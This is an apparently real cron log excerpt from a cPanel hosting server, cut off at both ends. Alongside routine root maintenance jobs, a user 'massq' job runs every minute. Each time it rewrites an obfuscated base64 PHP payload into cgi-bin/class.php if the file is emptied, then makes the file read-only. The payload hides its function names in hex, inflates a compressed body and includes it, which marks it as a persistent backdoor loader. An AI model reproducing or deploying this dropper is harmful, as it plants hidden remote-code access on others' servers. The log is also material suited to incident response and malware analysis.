JiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:04:01 server CROND[32064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:05:01 server CROND[32122]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 19:05:01 server CROND[32121]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 19:05:01 server CROND[32123]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 19:05:01 server CROND[32124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:06:01 server CROND[32231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:07:01 server CROND[32282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:08:01 server CROND[32358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:09:01 server CROND[32421]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 19:09:01 server CROND[32422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:10:01 server CROND[32567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:10:01 server CROND[32569]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 19:10:01 server CROND[32570]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 19:10:01 server CROND[32568]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 19:11:01 server CROND[32674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:12:01 server CROND[317]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 19:12:01 server CROND[318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:13:01 server CROND[370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:14:01 server CROND[421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:15:01 server CROND[581]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 19:15:01 server CROND[582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 19:15:01 server CROND[583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:16:01 server CROND[718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:17:01 server CROND[774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KC